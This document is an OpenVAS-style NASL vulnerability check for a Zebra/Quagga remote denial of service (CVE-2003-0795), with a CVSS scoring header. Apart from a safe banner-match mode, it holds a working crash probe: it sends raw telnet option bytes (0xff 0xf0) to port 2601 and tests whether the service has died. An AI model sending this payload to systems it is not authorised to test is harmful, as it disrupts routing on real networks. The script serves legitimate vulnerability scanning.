5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
6.4 Medium
AI Score
Confidence
Low
0.018 Low
EPSS
Percentile
88.1%
A remote DoS exists in Zebra and/or Quagga when sending a telnet option
delimiter with no actual option data.
# SPDX-FileCopyrightText: 2003 Matt North
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11925");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_xref(name:"RHSA", value:"RHSA-2003:307-01");
script_cve_id("CVE-2003-0795", "CVE-2003-0858");
script_name("Zebra and Quagga Remote DoS Vulnerability");
script_category(ACT_MIXED_ATTACK);
script_copyright("Copyright (C) 2003 Matt North");
script_family("Denial of Service");
script_dependencies("find_service2.nasl");
script_require_ports("Services/zebra", 2601);
script_xref(name:"URL", value:"http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=107140");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/9029");
script_tag(name:"solution", value:"Update to Quagga Version 0.96.4 or later.");
script_tag(name:"summary", value:"A remote DoS exists in Zebra and/or Quagga when sending a telnet option
delimiter with no actual option data.");
script_tag(name:"impact", value:"An attacker may exploit this flaw to prevent this host from doing proper
routing.");
script_tag(name:"affected", value:"All versions from 0.90a to 0.93b.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("misc_func.inc");
include("port_service_func.inc");
port = service_get_port( default:2601, proto:"zebra" );
if(safe_checks()) {
banner = get_kb_item("zebra/banner/" + port);
if(!banner)
exit(0);
if(egrep(string:banner, pattern:"Hello, this is zebra \(version 0\.9[0-3][ab]?\)")) {
security_message(port:port);
exit(0);
}
exit(99);
}
soc = open_sock_tcp(port);
if(!soc)
exit(0);
s = raw_string(0xff,0xf0,0xff,0xf0,0xff,0xf0);
send(socket:soc, data:s);
r = recv(socket:soc, length:1024);
close(soc);
alive = open_sock_tcp(port);
if(!alive) {
security_message(port:port);
exit(0);
} else {
close(alive);
exit(99);
}